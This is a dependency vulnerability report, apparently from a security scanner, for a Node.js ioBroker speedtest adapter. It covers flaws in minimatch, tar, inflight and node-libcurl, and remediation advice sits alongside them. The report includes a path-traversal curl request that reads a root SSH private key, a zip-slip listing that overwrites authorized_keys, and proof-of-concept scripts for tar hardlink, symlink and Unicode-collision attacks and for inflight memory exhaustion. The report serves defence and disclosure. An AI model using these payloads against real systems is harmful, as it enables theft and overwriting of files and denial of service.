Find, fix and prevent vulnerabilities in your code.
high severity
new
- Vulnerable module: minimatch
- Introduced through: node-libcurl@4.1.0
Detailed paths
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › @mapbox/node-pre-gyp@1.0.11 › rimraf@3.0.2 › glob@7.2.3 › minimatch@3.1.2Remediation: Upgrade to node-libcurl@5.0.0.
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › node-gyp@10.2.0 › glob@10.5.0 › minimatch@9.0.5
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › rimraf@5.0.5 › glob@10.5.0 › minimatch@9.0.5
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › node-gyp@10.2.0 › make-fetch-happen@13.0.1 › cacache@18.0.4 › glob@10.5.0 › minimatch@9.0.5
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the AST class, caused by catastrophic backtracking when an input string contains many * characters in a row, followed by an unmatched character.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade minimatch to version 10.2.1 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: node-libcurl@4.1.0
Detailed paths
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to node-libcurl@5.0.0.
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › node-gyp@10.2.0 › tar@6.2.1Remediation: Upgrade to node-libcurl@5.0.0.
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › node-gyp@10.2.0 › make-fetch-happen@13.0.1 › cacache@18.0.4 › tar@6.2.1Remediation: Upgrade to node-libcurl@5.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.8 or higher.
References
high severity
- Vulnerable module: node-libcurl
- Introduced through: node-libcurl@4.1.0
Detailed paths
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0
Overview
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the SOCKS5 proxy handshake process when the hostname is longer than the target buffer and larger than 255 bytes.
The local variable socks5_resolve_local could get the wrong value during a slow SOCKS5 handshake.
Since the code wrongly thinks it should pass on the hostname, even though the hostname is too long to fit, the memory copy can overflow the allocated target buffer.
This is only exploitable if the SOCKS5 handshake is slow enough to trigger a local variable bug and the client uses a hostname longer than the download buffer.
Exploiting this vulnerability could allow an attacker to execute arbitrary code on the target system under certain conditions.
Note:
An overflow is only possible in applications that don't set CURLOPT_BUFFERSIZE or set it smaller than 65541.
Since the curl tool sets CURLOPT_BUFFERSIZE to 100kB by default, it is not vulnerable unless the user sets the rate limiting to a rate smaller than 65541 bytes/second.
The options that cause SOCKS5 with remote hostname to be used in libcurl:
CURLOPT_PROXYTYPEset to typeCURLPROXY_SOCKS5_HOSTNAME, or:CURLOPT_PROXYorCURLOPT_PRE_PROXYset to use the schemesocks5h://One of the proxy environment variables can be set to use the
socks5h://scheme. For example,http_proxy,HTTPS_PROXYorALL_PROXY.
The options that cause SOCKS5 with remote hostname to be used in the curl tool:
--socks5-hostname,--proxyor--preproxyset to use the schemesocks5h://Environment variables as described in the libcurl section.
Changelog:
2023-10-04: Initial publication
2023-10-11: Published updated information, including CWE, CVSS, official references and affected versions range.
Remediation
There is no fixed version for node-libcurl.
References
medium severity
- Vulnerable module: tar
- Introduced through: node-libcurl@4.1.0
Detailed paths
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to node-libcurl@5.0.0.
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › node-gyp@10.2.0 › tar@6.2.1Remediation: Upgrade to node-libcurl@5.0.0.
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › node-gyp@10.2.0 › make-fetch-happen@13.0.1 › cacache@18.0.4 › tar@6.2.1Remediation: Upgrade to node-libcurl@5.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.
Note:
This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.
Workaround
This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Remediation
Upgrade tar to version 7.5.4 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: node-libcurl@4.1.0
Detailed paths
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › @mapbox/node-pre-gyp@1.0.11 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.
References
medium severity
new
- Vulnerable module: tar
- Introduced through: node-libcurl@4.1.0
Detailed paths
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to node-libcurl@5.0.0.
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › node-gyp@10.2.0 › tar@6.2.1Remediation: Upgrade to node-libcurl@5.0.0.
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › node-gyp@10.2.0 › make-fetch-happen@13.0.1 › cacache@18.0.4 › tar@6.2.1Remediation: Upgrade to node-libcurl@5.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.7 or higher.
References
medium severity
new
- Vulnerable module: tar
- Introduced through: node-libcurl@4.1.0
Detailed paths
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to node-libcurl@5.0.0.
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › node-gyp@10.2.0 › tar@6.2.1Remediation: Upgrade to node-libcurl@5.0.0.
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0 › node-gyp@10.2.0 › make-fetch-happen@13.0.1 › cacache@18.0.4 › tar@6.2.1Remediation: Upgrade to node-libcurl@5.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.
PoC
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.3 or higher.
References
low severity
- Vulnerable module: node-libcurl
- Introduced through: node-libcurl@4.1.0
Detailed paths
-
Introduced through: iobroker.vofo-speedtest@peterbaumert/ioBroker.vodafone-speedtest#6ed6ac888e1b689473e252857d6324ba63f68137 › node-libcurl@4.1.0
Overview
Affected versions of this package are vulnerable to External Control of File Name or Path via the curl_easy_duphandle function, allowing an attacker to insert cookies into a running program using this library.
When this function is used to duplicate an easy handle with cookies enabled, the cookie-enable state is also cloned. However, the actual cookies are not cloned, and if the source handle did not read any cookies from a specific file on disk, the cloned handle would store the file name as none. Subsequent use of the cloned handle that does not explicitly set a source to load cookies from would inadvertently load cookies from a file named none.
Note:
This is only exploitable if a file named none exists and is readable in the current directory of the program using libcurl and in the correct file format.
Changelog:
2023-10-04: Initial publication
2023-10-11: Published updated information, including CWE, CVSS, official references and affected versions range.
Remediation
There is no fixed version for node-libcurl.